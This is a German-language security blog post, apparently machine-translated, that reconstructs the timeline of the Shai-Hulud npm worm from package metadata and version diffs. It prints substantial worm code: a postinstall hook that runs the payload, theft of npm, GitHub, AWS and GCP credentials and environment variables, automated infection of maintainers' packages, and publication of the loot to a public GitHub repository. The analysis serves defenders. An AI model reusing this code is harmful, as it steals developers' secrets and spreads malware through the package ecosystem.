Aikido

Bugs in Shai-Hulud: Die Wüste debuggen

Charlie EriksenCharlie Eriksen
|
#

Hallo Internet, ich bin es wieder und habe weitere erfreuliche Neuigkeiten für euch. 

Gestern habe ich mir die Zeit genommen, mich intensiv mit den Shai-Hulud-Payloads zu beschäftigen. Dabei ist mir etwas Spannendes aufgefallen, das mich dazu veranlasst hat, mich eingehender mit der Zeitachse des Angriffs zu befassen. Hier ist, was ich festgestellt habe:

Hier stimmt etwas nicht ganz...

Ist Ihnen aufgefallen, dass es mehrere gibt? package.json und bundle.js Dateien? Ja, das ist ein Fehler in der Art und Weise, wie sich der Shai-Hulud-Wurm einnistet. Er würde nicht die package.json und bundle.jsEs wurde lediglich eine weitere Kopie davon hinzugefügt. Darüber hinaus erhalten wir vollständige Zeitstempel und den Benutzernamen des lokalen Benutzers, der die Änderung vorgenommen hat.

Wir sehen auch mehrere VERSCHIEDENE Versionen des Wurms. Dadurch erhalten wir viele Einblicke in den zeitlichen Ablauf der Ereignisse und wie sie live debuggt wurden. Sie wissen, was das bedeutet: Es ist Zeit, unsere Schaufeln herauszuholen und mit dem Graben zu beginnen.

Wie begann der Angriff?

Eine der großen Fragen, die wir hatten, war: Was war der erste Kompromiss? Wie haben die Angreifer den Wurm dazu gebracht, sich zu verbreiten? Als wir begannen, die Metadaten der Archive von npm zu untersuchen, wurde uns sofort klar, was die Antwort war:

Die Angreifer haben selbst eine beträchtliche Anzahl von Paketen mit der Malware versehen. Höchstwahrscheinlich haben sie dabei NPM-Token verwendet, die sie beim ursprünglichen Nx-Angriff gestohlen hatten. Wie können wir das sagen? Anhand der Benutzer-Metadaten in den Archiven. Für diejenigen, die es nicht wissen: Kali ist der Name einer Linux-Distribution, die von Sicherheitsexperten verwendet wird, nicht von normalen Entwicklern. Aber wir sehen diesen Fingerabdruck in den ersten 49 Paketen, insgesamt 67 Versionen.

Schwingen und verfehlen

Die Angreifer hatten zunächst keinen Erfolg, was daran zu erkennen war, dass sie mehrere Versionen einiger Pakete veröffentlichten. Schauen wir uns das einmal an. rxnt-Authentifizierung, das erste bösartige Paket, das unserer Meinung nach am 14.09.2025 um 17:58:50 UTC (Version 0.0.3). Das Bild am Anfang des Beitrags stammt aus der Version 0.0.6, die vierte Version, die die Angreifer veröffentlicht haben. Hier ist der Abschnitt mit den Skripten aus dem ersten vom Angreifer eingefügten package.json:

Sehen Sie den Fehler?

Fällt Ihnen etwas Seltsames auf? Die Großschreibung von Nach der Installation ist falsch. Das i sollte nicht großgeschrieben werden! Wenn wir einen Vergleich der ersten beiden bundle.js Aus den Dateien geht hervor, dass die Angreifer schließlich dahinter gekommen sind:

--- prettified/bundle-1.js	2025-09-17 19:53:13.717392200 +0200
+++ prettified/bundle-2.js	2025-09-17 19:53:20.162839500 +0200
@@ -65934,7 +65934,7 @@
                   isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
                 }
               }
-              ((n.scripts.postInstall = "node bundle.js"),
+              ((n.scripts.postinstall = "node bundle.js"),
                 await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
                 await te(`tar -uf ${le} -C ${ae} package/package.json`));
               const F = process.argv[1];
@@ -168266,67 +168266,90 @@
             architecture: this.mapArchitecture(this.systemInfo.architecture),
           };
         }

Zusätzlich zu dieser Korrektur haben die Angreifer noch einige weitere Änderungen vorgenommen. Ich werde den Angreifern einen Gefallen tun und das Änderungsprotokoll für sie veröffentlichen, da sie dies nicht getan haben:

🛠️ Verbesserungen

  • TruffleHog-Modul:
    • Die Zeitüberschreitung für TruggleHog wurde von 120 Sekunden auf 90 Sekunden reduziert.
    • Eine Race Condition beim Versuch, TruffleHog vor dem Herunterladen der Binärdatei auszuführen, wurde behoben.
  • Verweis auf das Stehlen von Azure-Anmeldedaten durch GCP ersetzt.
  • Die Anzahl der npm-Pakete, die infiziert werden, wurde von 10 auf 20 erhöht.

Offensichtlich hatten die Angreifer die Absicht, Azure-Anmeldedaten zu stehlen, entschieden sich jedoch stattdessen für GCP. Außerdem beschlossen sie, die Anzahl der Pakete, in denen sich der Wurm verbreiten sollte, zu verdoppeln.

Ein weiterer Fehler

Am 14.09.2025 um 20:43:42 Uhr veröffentlichten die Angreifer eine weitere Reihe von Paketen, wobei das erste die Version 0.0.4 von rxnt-Authentifizierung mit der festen Kapitalisierung von Nach der InstallationEtwa 20 Minuten später, am 14.09.2025 um 21:03:17 Uhr, veröffentlichen sie dann auch eine Version. 0.0.5 mit einer interessanten Änderung:

--- prettified/bundle-2.js	2025-09-17 19:53:20.162839500 +0200
+++ prettified/bundle-3.js	2025-09-17 19:53:26.495899200 +0200
@@ -65934,7 +65934,8 @@
                   isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
                 }
               }
-              ((n.scripts.postinstall = "node bundle.js"),
+              (n.scripts || (n.scripts = {}),
+                (n.scripts.postinstall = "node bundle.js"),
                 await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
                 await te(`tar -uf ${le} -C ${ae} package/package.json`));
               const F = process.argv[1];

Sie änderten ihr Skript, um nur das Nach der Installation Skript, wenn der Schlüssel „scripts“ in der package.jsonEs scheint, dass die Angreifer sich darauf vorbereiteten, den ngx-Bootstrap Pakete, was sie am 15. September 2025 um 01:12 Uhr getan haben. Hier ist die package.json:

{
  "name": "ngx-bootstrap",
  "version": "20.0.3",
  "description": "Angular Bootstrap",
  "author": "Dmitriy Shekhovtsov <valorkin@gmail.com>",
  "license": "MIT",
  "schematics": "./schematics/collection.json",
  "peerDependencies": {
    "@angular/animations": "^20.0.2",
    "@angular/common": "^20.0.2",
    "@angular/core": "^20.0.2",
    "@angular/forms": "^20.0.2",
    "rxjs": "^6.5.3 || ^7.4.0"
  },
  "dependencies": {
    "tslib": "^2.3.0"
  },
  "exports": {
    ...
    ".": {
      "types": "./index.d.ts",
      "default": "./fesm2022/ngx-bootstrap.mjs"
    }
  },
  "sideEffects": false,
  "publishConfig": {
    "registry": "https://registry.npmjs.org/",
    "tag": "next"
  },
  "repository": {
    "type": "git",
    "url": "git+ssh://git@github.com/valor-software/ngx-bootstrap.git"
  },
  "bugs": {
    "url": "https://github.com/valor-software/ngx-bootstrap/issues"
  },
  "homepage": "https://github.com/valor-software/ngx-bootstrap#readme",
  "keywords": [
    "angular",
    "bootstap",
    "ng",
    "ng2",
    "angular2",
    "twitter-bootstrap"
  ],
  "module": "fesm2022/ngx-bootstrap.mjs",
  "typings": "index.d.ts"
}

 Beachten Sie, dass es keine Skripte gibt? Der Versuch, den Wurm auf diesem Paket auszuführen, würde nicht funktionieren. Also haben sie es repariert. Und wir sehen, dass das Paket auch durch ein Kali Benutzer:

Das ngx-bootstrap-Paket, ebenfalls von den Angreifern bereitgestellt.

Offensichtlich wurde dieses Paket von den Angreifern selbst gepusht, nachdem sie debuggt hatten, warum ihr Wurm beim Versuch, dieses Paket zu infizieren, zusammenbrach.

Weitere Korrekturen

In der Version 0.0.6 von rxnt-Authentifizierungsehen wir weitere Veränderungen (der Kürze halber etwas gekürzt). 

--- prettified/bundle-3.js	2025-09-17 19:53:26.495899200 +0200
+++ prettified/bundle-4.js	2025-09-17 19:53:33.252022300 +0200
@@ -49555,7 +49555,7 @@
     },
     26935: (t) => {
       t.exports =
-        '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n...
+        '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n    exit 1\nfi\n\nSOURCE_ORG="$1"\nT.....
     },
     26937: (t, r, n) => {
       (n.r(r), n.d(r, { AwsRestXmlProtocol: () => AwsRestXmlProtocol }));
@@ -54767,25 +54767,6 @@
         }
       }
     },
-    32304: (t, r, n) => {
-      (n.r(r), n.d(r, { Application: () => Application }));
-      class Application {
-        constructor(t) {
-          this.config = t;
-        }
-        getConfig() {
-          return { ...this.config };
-        }
-        getRuntimeInfo() {
-          return {
-            nodeVersion: process.version,
-            platform: process.platform,
-            architecture: process.arch,
-            timestamp: new Date(),
-          };
-        }
-      }
-    },
     32348: (t, r, n) => {
       (n.r(r),
         n.d(r, {
@@ -125245,29 +125226,10 @@
         te = n(72438);
     },
     54704: (t, r, n) => {
-      (n.r(r),
-        n.d(r, {
-          exitWithCode: () => exitWithCode,
-          formatOutput: () => formatOutput,
-          logError: () => logError,
-          logInfo: () => logInfo,
-          parseNpmToken: () => parseNpmToken,
-        }));
+      (n.r(r), n.d(r, { parseNpmToken: () => parseNpmToken }));
       var F = n(79896),
         te = n(16928),
         re = n(70857);
-      function formatOutput(t) {
-        return JSON.stringify(t, null, 2);
-      }
-      function logInfo(t) {
-        console.log(`[INFO] ${t}`);
-      }
-      function logError(t) {
-        console.error(`[ERROR] ${t}`);
-      }
-      function exitWithCode(t) {
-        process.exit(t);
-      }
       function parseNpmToken(t) {
         const r = /(?:_authToken|:_authToken)=([a-zA-Z0-9\-._~+/]+=*)/,
           n = t
@@ -156119,7 +156081,7 @@
               await this.octokit.rest.repos.createForAuthenticatedUser({
                 name: t,
                 description: "Shai-Hulud Repository.",
-                private: !0,
+                private: !1,
                 auto_init: !1,
                 has_issues: !1,
                 has_projects: !1,
@@ -156140,11 +156102,6 @@
                     ),
                   ).toString("base64"),
                 })),
-              await this.octokit.rest.repos.update({
-                owner: n.owner.login,
-                repo: n.name,
-                private: !1,
-              }),
               {
                 owner: n.owner.login,
                 repo: n.name,
@@ -156178,20 +156135,6 @@
             return [];
           }
         }
-        async repoExists(t) {
-          try {
-            const r = await this.octokit.rest.users.getAuthenticated();
-            return (
-              await this.octokit.rest.repos.get({
-                owner: r.data.login,
-                repo: t,
-              }),
-              !0
-            );
-          } catch {
-            return !1;
-          }
-        }
       }
     },
     82053: (t, r, n) => {
@@ -174427,114 +174370,110 @@
 __webpack_require__.r(__webpack_exports__);
 var _utils_os__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(71197),
   _lib_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(54704),
-  _models_general__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(32304),
-  _modules_github__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(82036),
-  _modules_aws__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(56686),
-  _modules_gcp__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(9897),
-  _modules_truffle__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(94913),
-  _modules_npm__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(40766);
+  _modules_github__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(82036),
+  _modules_aws__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(56686),
+  _modules_gcp__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(9897),
+  _modules_truffle__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(94913),
+  _modules_npm__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(40766);
 async function main() {
-  const t = new _models_general__WEBPACK_IMPORTED_MODULE_2__.Application({
-      name: "System Info App",
-      version: "1.0.0",
-      description: "Optimizes system.",
-    }),
-    r = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
-    n = t.getRuntimeInfo(),
-    F = new _modules_github__WEBPACK_IMPORTED_MODULE_3__.GitHubModule(),
-    te = new _modules_aws__WEBPACK_IMPORTED_MODULE_4__.AWSModule(),
-    re = new _modules_gcp__WEBPACK_IMPORTED_MODULE_5__.GCPModule(),
-    ne = new _modules_truffle__WEBPACK_IMPORTED_MODULE_6__.TruffleHogModule();
-  let oe = process.env.NPM_TOKEN;
-  oe ||
-    (oe =
+  const t = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
+    r = new _modules_github__WEBPACK_IMPORTED_MODULE_2__.GitHubModule(),
+    n = new _modules_aws__WEBPACK_IMPORTED_MODULE_3__.AWSModule(),
+    F = new _modules_gcp__WEBPACK_IMPORTED_MODULE_4__.GCPModule(),
+    te = new _modules_truffle__WEBPACK_IMPORTED_MODULE_5__.TruffleHogModule();
+  let re = process.env.NPM_TOKEN;
+  re ||
+    (re =
       (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.parseNpmToken)() ?? void 0);
-  const ie = new _modules_npm__WEBPACK_IMPORTED_MODULE_7__.NpmModule(oe);
-  let se = null,
-    ae = !1;
+  const ne = new _modules_npm__WEBPACK_IMPORTED_MODULE_6__.NpmModule(re);
+  let oe = null,
+    ie = !1;
   if (
-    F.isAuthenticated() &&
+    r.isAuthenticated() &&
     ((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
       (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)())
   ) {
-    const t = F.getCurrentToken(),
-      r = await F.getUser();
-    if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && r) {
-      await F.extraction(t);
-      const n = await F.getOrgs();
-      for (const t of n) await F.migration(r.login, t, F.getCurrentToken());
+    const t = r.getCurrentToken(),
+      n = await r.getUser();
+    if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && n) {
+      await r.extraction(t);
+      const F = await r.getOrgs();
+      for (const t of F) await r.migration(n.login, t, r.getCurrentToken());
     }
   }
-  const [ce, le] = await Promise.all([
+  const [se, ae] = await Promise.all([
     (async () => {
       try {
         if (
-          ((se = await ie.validateToken()),
-          (ae = !!se),
-          se &&
+          ((oe = await ne.validateToken()),
+          (ie = !!oe),
+          oe &&
             ((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
               (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)()))
         ) {
-          const t = await ie.getPackagesByMaintainer(se, 20);
+          const t = await ne.getPackagesByMaintainer(oe, 20);
           await Promise.all(
             t.map(async (t) => {
               try {
-                await ie.updatePackage(t);
+                await ne.updatePackage(t);
               } catch (t) {}
             }),
           );
         }
       } catch (t) {}
-      return { npmUsername: se, npmTokenValid: ae };
+      return { npmUsername: oe, npmTokenValid: ie };
     })(),
     (async () => {
-      const [t, r] = await Promise.all([ne.isAvailable(), ne.getVersion()]);
+      if (process.env.SKIP_TRUFFLE)
+        return {
+          available: !1,
+          installed: !1,
+          version: null,
+          platform: null,
+          results: null,
+        };
+      const [t, r] = await Promise.all([te.isAvailable(), te.getVersion()]);
       let n = null;
       return (
-        t && (n = await ne.scanFilesystem()),
+        t && (n = await te.scanFilesystem()),
         {
           available: t,
-          installed: ne.isInstalled(),
+          installed: te.isInstalled(),
           version: r,
-          platform: ne.getSupportedPlatform(),
+          platform: te.getSupportedPlatform(),
           results: n,
         }
       );
     })(),
   ]);
-  ((se = ce.npmUsername), (ae = ce.npmTokenValid));
-  let ue = [];
-  (await te.isValid()) && (ue = await te.getAllSecretValues());
-  let de = [];
-  (await re.isValid()) && (de = await re.getAllSecretValues());
-  const pe = {
-    application: t.getConfig(),
+  ((oe = se.npmUsername), (ie = se.npmTokenValid));
+  let ce = [];
+  (await n.isValid()) && (ce = await n.getAllSecretValues());
+  let le = [];
+  (await F.isValid()) && (le = await F.getAllSecretValues());
+  const ue = {
     system: {
-      platform: r.platform,
-      architecture: r.architecture,
-      platformDetailed: r.platformRaw,
-      architectureDetailed: r.archRaw,
+      platform: t.platform,
+      architecture: t.architecture,
+      platformDetailed: t.platformRaw,
+      architectureDetailed: t.archRaw,
     },
-    runtime: n,
     environment: process.env,
     modules: {
       github: {
-        authenticated: F.isAuthenticated(),
-        token: F.getCurrentToken(),
+        authenticated: r.isAuthenticated(),
+        token: r.getCurrentToken(),
+        username: r.getUser(),
       },
-      aws: { secrets: ue },
-      gcp: { secrets: de },
-      truffleHog: le,
-      npm: { token: oe, authenticated: ae, username: se },
+      aws: { secrets: ce },
+      gcp: { secrets: le },
+      truffleHog: ae,
+      npm: { token: re, authenticated: ie, username: oe },
     },
   };
-  (F.isAuthenticated() &&
-    !F.repoExists("Shai-Hulud") &&
-    (await F.makeRepo(
-      "Shai-Hulud",
-      (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(pe),
-    )),
-    (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.exitWithCode)(0));
+  (r.isAuthenticated() &&
+    (await r.makeRepo("Shai-Hulud", JSON.stringify(ue, null, 2))),
+    process.exit(0));
 }
 main().catch((t) => {
   process.exit(0);

Hier sind einige Patch-Hinweise:

✨ Neue Funktionen

  • Bedingter TruffleHog-ScanSie können nun den TruffleHog-Dateisystem-Scan überspringen, indem Sie die SKIP_TRUFFLE Umgebungsvariable. 

🛠️ Verbesserungen

  • Verbesserte Repository-MigrationDas Migrationsskript entfernt nun automatisch die .github/Workflows Verzeichnis aus migrierten Repositorys. 
  • Standardmäßige öffentliche Repositorys: Das GitHub-Repository, das zum Speichern der gesammelten Systemdaten erstellt wurde, wird nun standardmäßig als öffentlich angelegt und nicht mehr erst nach der Erstellung als privat öffentlich gemacht.
  • RepoExists-Prüfung entfernt: Die Prüfung, ob das Shai-Hulud-Repository bereits existiert, wurde entfernt. Das Skript versucht nun bei jeder Ausführung, es zu erstellen, und verlässt sich dabei auf das Verhalten von GitHub, um Fälle zu behandeln, in denen das Repository bereits existiert.

Erste Ausbreitung in der Gemeinschaft

Basierend auf dieser Analyse erfolgte die erste Ausbreitung innerhalb der Gemeinschaft über das Paket. Kondensator-Plugin-Gesundheits-App Version 0.0.2 am 15. September 2025 um 04:54 Uhr.

Der erste beobachtete Fall einer Übertragung innerhalb der Gemeinschaft

Es ist das erste Paket, bei dem wir sehen, dass das Archiv einen Benutzer hat, der nicht Kali

Wie wurde tinycolor kompromittiert?

Die ersten Berichte über diese Kampagne konzentrierten sich stark auf das tinycolor-Paket. Schauen wir es uns also einmal an! Die erste bösartige Version von @ctrl/tinycolor war Version 4.1.1, veröffentlicht am 15. September 2025 um 19:52 Uhr. 

Das tinycolor-Paket wurde wahrscheinlich von den Angreifern verbreitet.

Aber schau mal, noch eine KaliDieses Paket wurde höchstwahrscheinlich nicht durch eine Verbreitung innerhalb der Community kompromittiert, sondern durch Angreifer, die versuchten, ein anderes Paket zu verbreiten, um den Wurm zu starten.

Wie wurde CrowdStrike ?

Hier ist das Paket. crowdstrike Version 0.19.1, veröffentlicht am 16. September 2025 um 01:14 Uhr. Beachten Sie, dass der Benutzer Kali auch dies geändert...

Die CrowdStrike wurden wahrscheinlich von den Angreifern eingeschleust.

Dies deutet darauf hin, dass die Angreifer über Zugangsdaten für CrowdStrike verfügten CrowdStrike diese nutzten, um eine weitere Angriffswelle zu starten.

Wie wurde NativeScript kompromittiert?

Aus Gesprächen mit Daniel Pereira, der als Erster die Community auf diese Kampagne aufmerksam machte, wurde darauf aufmerksam, weil er beobachtete, dass sie Auswirkungen auf das NativeScript-Ökosystem hatte. Das erste Paket war @nativescript-community/arraybuffers Version 1.1.6 am 15. September 2025 um 09:16 Uhr:

Ein klarer Fall von Ausbreitung innerhalb der Gemeinschaft.

Großveranstaltungen

Hier ist eine Zeitleiste mit wichtigen Ereignissen während der Kampagne. 

Veröffentlichungszeit (UTC) Paket / Version Anmerkungen
14.09.2025, 17:58 Uhr rxnt-Authentifizierung @ 0.0.3 Erste bösartige Version, falsch großgeschriebener Postinstall-Befehl
14.09.2025, 20:43 Uhr rxnt-Authentifizierung @ 0.0.4 Behebt das Problem mit der Großschreibung im Wurm.
14.09.2025, 21:03 Uhr rxnt-Authentifizierung @ 0.0.5 Behebt den Fehler, der dazu führte, dass der Wurm fehlschlug, wenn eine package.json-Datei noch keine Skripte enthielt.
15.09.2025, 01:12 Uhr ngx-bootstrap @ 20.0.3 Zuerst wurde das ngx-bootstrap-Paket von Angreifern kompromittiert, nachdem der Fehler behoben worden war, der auftrat, wenn ein Paket keine Skripte enthielt.
15.09.2025, 04:54 Uhr Kondensator-Plugin-Healthapp @ 0.0.2 Erste Ausbreitung innerhalb der Gemeinschaft festgestellt.
15.09.2025, 09:16 Uhr @nativescript-community/arraybuffers @ 1.1.6 Erstes NativeScript-Paket durch Verbreitung in der Community kompromittiert.
15.09.2025, 15:45 Uhr rxnt-Authentifizierung @ 0.0.6 Eine weitere Version wurde von den Angreifern verbreitet, mit weiteren Korrekturen am Wurm.
15.09.2025, 19:52 Uhr @ctrl/tinycolor @ 4.1.1 Die erste bösartige Version von tinycolor, die von den Angreifern verbreitet wurde.
16.09.2025, 01:14 Uhr crowdstrike@ 0.19.1 CrowdStrike werden von Angreifern mit Malware infiziert.

Wie geht es nun weiter?

Diese Shai-Hulud-Kampagne stellt eine erhebliche Eskalation gegenüber dem ursprünglichen S1ngularity-Angriff dar, der mit Nx begann. Wir beobachten, dass die Angreifer mehrere Versuche unternehmen, Fehler zu beheben und den Wurm dazu zu bringen, sich im npm-Ökosystem zu verbreiten. Die logischste Erklärung, die wir dafür finden können, ist, dass die Angreifer die bei dem ursprünglichen Angriff gestohlenen Anmeldedaten zurückgehalten haben, um sie zum richtigen Zeitpunkt einzusetzen.

Daher können wir beobachten, dass die Angreifer über mehrere Tage hinweg mehrere Angriffswellen starteten, da sich ihr Versuch nicht sofort mit großer Geschwindigkeit ausbreitete. Sie waren mit der langsamen Ausbreitung unzufrieden, was für uns ein großes Glück war. 

Aber es wirft eine unangenehme Wahrheit auf: Wenn sie diese Zugangsdaten bereits seit mehreren Wochen in ihrem Besitz haben und nun sogar NOCH MEHR Zugangsdaten stehlen konnten, wird dies wahrscheinlich nicht das letzte Mal sein, dass wir von ihnen hören. Bislang hat der Wurm noch nicht escape erreicht, um sich wirklich viral zu verbreiten. 

Es wäre töricht anzunehmen, dass die Angreifer ihre besten Trümpfe ausgespielt haben, was die in ihrer Hinterhand gelagerten Zugangsdaten angeht. Die Beweggründe und Motive der Angreifer sind nach wie vor unklar, was darauf hindeutet, dass diese Geschichte noch nicht zu Ende ist. Es scheint mehr als wahrscheinlich, dass uns eine Trilogie einer Geschichte bevorsteht, die noch erzählt werden muss. Und im Moment glaube ich nicht, dass das Ende glücklich sein wird. 

4.7/5

Sichern Sie Ihre Software jetzt.

Kostenlos starten
Ohne Kreditkarte
Demo buchen
Ihre Daten werden nicht weitergegeben · Nur Lesezugriff · Keine Kreditkarte erforderlich

Werden Sie jetzt sicher.

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.